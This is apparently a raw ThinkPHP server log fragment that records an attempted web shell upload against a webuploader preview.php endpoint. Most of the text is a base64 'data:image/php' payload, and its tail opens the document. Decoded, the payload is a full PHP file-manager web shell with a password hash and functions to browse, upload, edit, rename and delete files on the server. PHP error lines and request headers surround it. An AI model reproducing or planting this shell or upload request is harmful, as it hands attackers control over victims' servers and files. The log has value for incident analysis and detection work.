Q_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:04:19+08:00 ] 119.42.146.234 POST 59.110.137.245/static/hui/lib/webuploader/0.1.5/server/preview.php [运行时间:0.002704s] [吞吐率:369.84req/s] [内存消耗:196.75kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'hui', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1l